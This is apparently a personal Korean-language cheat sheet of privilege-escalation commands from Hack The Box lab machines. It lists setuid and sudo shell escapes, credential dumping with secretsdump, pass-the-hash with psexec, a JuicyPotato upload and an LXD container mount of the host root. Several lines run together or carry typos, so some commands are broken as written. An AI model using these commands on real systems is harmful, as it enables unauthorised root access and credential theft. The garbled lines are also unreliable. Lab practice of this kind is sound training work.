HTB privilege escalation 요약
- Packet capture를 위해 setuid 권한이 있을 때 (Cap)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
- 안드로이드 adb를 포트열어서 접근 (Explore)
ssh -L 5555:127.0.0.1:5555 kristi@explore.htb -p 2222
adb connect localhost:5555
adb shell
- powershell history 파일을 사용 (Archetype)
type
C:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\Console
Host_history.txt
impacket [psexec.py](<http://psexec.py>) administrator@[IP]
find / -type f -group [groupname] 2>dev/null
SHELL=/bin/bash script -q /dev/null
- root 권한을 가진 파일을 찾아서 vi로 권한상승
python3 -c "import pty;pty.spawn('/bin/bash')"
sudo -l권한이 있는 파일 vi로 들어가서 !/bin/bash
- Windows server 2016 일때, Rotten Potato 취약점이 있음
msf > lcd /home/username/Downloads
msf > upload JuicyPotato.exe
secretsdump.py -dc-ip 10.10.10.30 [ADserver]/[PrivID]:[userid]@[ip]
psexec.py [ADserver]/administrator@10.10.10.30 -hashes <NTML hash>:<NTLM
hash>
git clone <https://github.com/saghul/lxd-alpine-builder.git>
cd lxd-alpine-builder
./build-alpinepython -m SimpleHTTPServer 8888lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias rootimage
lxc init rootimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root
recursive=truelxc start ignite
lxc exec ignite /bin/sh
icacls [filename]
/var/backups 탐색하여 hash 획득
sudo -l
sudo [filename][parameter] -exec /bin/bash \\;